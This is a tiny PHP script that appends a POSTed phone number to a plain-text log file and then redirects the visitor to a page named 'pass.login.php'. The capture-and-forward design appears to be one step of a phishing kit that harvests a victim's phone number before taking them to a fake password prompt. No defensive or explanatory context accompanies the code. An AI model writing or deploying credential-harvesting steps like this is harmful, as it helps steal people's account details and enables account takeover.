1<?php 2 3 file_put_contents("log.txt", "Number: " . $_POST['phoneNo'] . "\n", FILE_APPEND); 4header('Location: pass.login.php'); 5exit(); 6